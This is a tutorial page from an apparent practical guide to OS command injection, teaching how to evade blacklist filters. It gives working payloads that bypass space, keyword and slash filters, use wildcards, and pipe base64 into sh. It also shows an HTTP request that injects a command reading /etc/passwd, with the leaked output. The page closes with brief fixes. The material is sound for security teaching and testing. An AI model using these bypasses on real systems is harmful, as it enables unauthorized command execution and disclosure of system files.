OS Command Injection: The Complete Practical Guide
Command Injection Filter and Blacklist Bypass
How to defeat command injection filters: space bypasses with IFS and braces, breaking blocked keywords, building paths from variables, wildcards, and base64.
Published
Plenty of vulnerable features try to defend themselves by blocking characters or keywords instead of fixing the root cause. These blacklists are brittle, because the shell offers many ways to express the same command. This page covers the standard bypasses: spaces, keywords, paths, wildcards, and encoding. Practice on a free live target.
Step 1: learn what is blocked
Probe one thing at a time. Does a space get stripped or rejected? Is ; blocked but | allowed? Is the word cat filtered but tac or head fine? Is / blocked? Each answer tells you which bypass to reach for. The response to a blocked token (an error, a stripped character, a rejection) is your map.
Spaces are blocked
Use a shell construct that separates tokens without a literal space:
cat${IFS}/etc/passwd # ${IFS} expands to whitespace
{cat,/etc/passwd} # brace expansion: items become separate args, no space
cat</etc/passwd # input redirection instead of an argument
X=$'\x20';cat${X}/etc/passwd # build a space from a hex escape${IFS} is the usual first try: the internal field separator expands to a space inside the shell, after the filter has passed your input.
Keywords are blocked
Break the forbidden word so the blacklist does not match it, but the shell rejoins it after quote and escape removal:
w'h'oami # quotes are stripped, letters rejoin to whoami
w"h"oami # same with double quotes
wh\oami # backslash is removed, letters rejoin
a=who;b=ami;$a$b # build the word from two variables
$(printf '\x77\x68\x6f\x61\x6d\x69') # hex for whoami, assembled by printfEach produces whoami at execution time while reading as something else to a text match. The hex escapes spell w, h, o, a, m, i.
Paths and slashes are blocked
If / is filtered, build it from a variable. The first character of $HOME is a slash, so a substring of it reconstructs any absolute path:
cat ${HOME:0:1}etc${HOME:0:1}passwd # ${HOME:0:1} == "/" -> /etc/passwdWildcards avoid literal filenames
When the filename itself is filtered, a glob matches it without spelling it out:
cat /etc/pass?? # ? matches any single character
cat /e*/p*wd # * matches any run of charactersEncode the whole command
When many characters are blocked, smuggle the command base64-encoded and decode it into a shell at runtime:
echo d2hvYW1p | base64 -d | sh # d2hvYW1p decodes to whoamiStep 3: confirm the bypass
Send the rewritten payload and confirm execution however the target allows. Here filtering blocked a plain space, so ${IFS} carries the argument through:
POST /api/export HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
name=report;cat${IFS}/etc/passwdHTTP/1.1 200 OK
Content-Type: text/plain
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologinIf output is not reflected, confirm with timing or an out-of-band callback as in blind and out-of-band detection.
Fixing it
- Blacklists are the wrong model. You cannot enumerate every shell trick, as this page shows.
- Do not call a shell at all (
execFile/subprocess.run([...], shell=False)), which makes every bypass here irrelevant because nothing is parsed as a command. - Allow-list the value against a strict pattern and reject everything else.
Full guidance is in preventing command injection. Next, see the case where you cannot add a command but can add flags in argument injection, or try a filter bypass on a free lab.
← Back to OS Command Injection: The Complete Practical Guide